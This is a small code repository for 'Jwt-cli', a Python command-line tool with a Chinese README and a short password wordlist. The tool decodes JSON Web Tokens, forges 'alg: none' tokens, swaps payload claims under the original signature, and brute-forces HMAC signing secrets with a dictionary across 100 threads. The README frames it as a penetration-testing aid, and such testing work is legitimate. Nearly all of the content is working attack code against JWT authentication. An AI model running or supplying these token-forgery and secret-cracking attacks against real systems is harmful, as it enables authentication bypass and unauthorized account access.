├── passwd.txt ├── README.md └── jwt_cli.py /passwd.txt: -------------------------------------------------------------------------------- 1 | azyhuvhahxnzfedh 2 | advadvsd 3 | adca 4 | advsdv 5 | sfvs 6 | wkend 7 | fb 8 | dsfbdfbdf 9 | $admina$ 10 | $admin$ 11 | root 12 | manage 13 | qwert 14 | 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Jwt-cli 2 | 3 | ## 目录 4 | 5 | - [安装](#安装) 6 | - [使用](#使用) 7 | - [作者](#作者) 8 | - [描述](#描述) 9 | - [License](#license) 10 | 11 | ## 安装 12 | 13 | ``` 14 | pip3 install pyjwt 15 | ``` 16 | 17 | ## 使用 18 | 19 | ``` 20 | python3 jwt_cli.py jwt_string [options] 21 | 22 | usage: jwt_cli.py [-h] [-D] [-A] [-s [SPOOFJWK [SPOOFJWK ...]]] [-d DICT] jwts 23 | 24 | positional arguments: 25 | jwts JWT字符串 26 | 27 | optional arguments: 28 | -h, --help show this help message and exit 29 | -D, --decipher 解密JWT中的HEADER和PAYLOAD,无参数传输 30 | -A, --algnone 禁用加密算法,重新生成JWT字段,无参数传输 31 | -s [SPOOFJWK [SPOOFJWK ...]], --spoofjwk [SPOOFJWK [SPOOFJWK ...]] 32 | 修改PAYLOAD字段添加进原来的JWT字段,需要显示的说明修改的key:value,允许多个参数修改 33 | -d DICT, --dict DICT 指定密钥字典,爆破JWT密钥 34 | 35 | User: python3 jwt_cli.py jwt_string -D 36 | ``` 37 | 38 | ## 作者 39 | 40 | [@Misakikata](https://github.com/Misakikata) 41 | 42 | ## 描述 43 | 44 | 在实际测试jwt的时候,目前使用的GitHub上的几个脚本有点不太理想,某些情况下还有谜之错误,所以就有这个脚本,为了更快的解决jwt的一些测试方式。 45 | 46 | ## License 47 | 48 | GPL-2.0 © 2020 Misakikata 49 | 50 | -------------------------------------------------------------------------------- /jwt_cli.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | import argparse 3 | import os 4 | import base64 5 | import sys 6 | import threading 7 | import queue 8 | import json 9 | 10 | class jwtbrute(threading.Thread): 11 | def __init__(self, jwtstr, que): 12 | threading.Thread.__init__(self) 13 | self._queue = que 14 | self._jwtstr = jwtstr 15 | 16 | def run(self): 17 | while not self._queue.empty(): 18 | que = self._queue.get(timeout=0.5) 19 | try: 20 | alg = json.loads(base64.b64decode(self._jwtstr.split('.')[0]))['alg'] 21 | jwt.decode(self._jwtstr, que, algorithms=[alg]) 22 | print('found token -------------->: '+que) 23 | os._exit(0) 24 | except jwt.exceptions.InvalidTokenError: 25 | print('invalid token: '+que) 26 | 27 | 28 | 29 | def decipher_runc(jwtstr): 30 | header = jwtstr.split('.')[0] 31 | if (len(header) % 4) != 0: 32 | header = header + '='*(4 - (len(header) % 4)) 33 | payload = jwt.decode(jwtstr, verify=False) 34 | print("\n\nheader: {}\n\npayload: {}".format(base64.b64decode(header), payload)) 35 | 36 | 37 | def algnone_runc(jwtstr): 38 | 39 | payload = jwt.decode(jwtstr, verify=False) 40 | print('\nJWT-1: '+str(jwt.encode(payload,algorithm='none',key=''), 'utf-8')) 41 | print('\n') 42 | header = jwtstr.split('.')[0] 43 | if (len(header) % 4) != 0: 44 | header = header + '='*(4 - (len(header) % 4)) 45 | header = json.loads(str(base64.b64decode(header), 'utf-8')) 46 | header['alg'] = 'None' 47 | header = str(base64.b64encode(json.dumps(header).encode()), 'utf-8').replace('=', '') 48 | print('JWT-2: '+header+'.'+jwtstr.split('.')[1]) 49 | 50 | 51 | def spoofjwk_runc(jwtstr, spoofjwk_jwt): 52 | payload = jwt.decode(jwtstr, verify=False) 53 | for spoof in spoofjwk_jwt: 54 | payload[spoof.split(':')[0]] = spoof.split(':')[1] 55 | payload = base64.b64encode(json.dumps(payload).encode()) 56 | print('\nJWT: '+jwtstr.split('.')[0]+'.'+str(payload, 'utf-8').replace('=', '')+'.'+jwtstr.split('.')[2]) 57 | 58 | 59 | def brute_dict(jwtstr, dict_jwt): 60 | header = jwtstr.split('.')[0] 61 | if (len(header) % 4) != 0: 62 | header = header + '='*(4 - (len(header) % 4)) 63 | alg = json.loads(base64.b64decode(header))['alg'] 64 | if not alg.startswith('HS') or alg.startswith('none'): 65 | print('\n未采用对称加密算法,或者未设定加密算法') 66 | return False 67 | threads = [] 68 | que = queue.Queue() 69 | 70 | with open(dict_jwt,'r') as f: 71 | for i in f.readlines(): 72 | que.put(i.strip()) 73 | 74 | for i in range(100): 75 | threads.append(jwtbrute(jwtstr, que)) 76 | 77 | for i in threads: 78 | i.start() 79 | 80 | for i in threads: 81 | i.join() 82 | 83 | 84 | def get_parser(): 85 | parser = argparse.ArgumentParser(epilog="User: python3 jwt_cli.py jwt_string -D", formatter_class=argparse.RawTextHelpFormatter) 86 | parser.add_argument("jwts", type=str, 87 | help="JWT字符串") 88 | parser.add_argument("-D", "--decipher", action="store_true", 89 | help="解密JWT中的HEADER和PAYLOAD,无参数传输") 90 | parser.add_argument("-A", "--algnone", action="store_true", 91 | help="禁用加密算法,重新生成JWT字段,无参数传输") 92 | parser.add_argument("-s", "--spoofjwk", action="store", nargs='*', 93 | help="修改PAYLOAD字段添加进原来的JWT字段,需要显示的说明修改的key:value,允许多个参数修改") 94 | parser.add_argument("-d", "--dict", action="store", 95 | help="指定密钥字典,爆破JWT密钥") 96 | 97 | 98 | args = parser.parse_args() 99 | jwtstr = args.jwts 100 | spoofjwk_jwt = '' 101 | dict_jwt = '' 102 | if args.decipher: 103 | decipher_runc(jwtstr) 104 | sys.exit(0) 105 | if args.algnone: 106 | algnone_runc(jwtstr) 107 | sys.exit(0) 108 | if args.spoofjwk: 109 | spoofjwk_jwt = args.spoofjwk 110 | spoofjwk_runc(jwtstr, spoofjwk_jwt) 111 | sys.exit(0) 112 | if args.dict: 113 | dict_jwt = args.dict 114 | brute_dict(jwtstr, dict_jwt) 115 | sys.exit(0) 116 | 117 | 118 | 119 | if __name__ == '__main__': 120 | get_parser() --------------------------------------------------------------------------------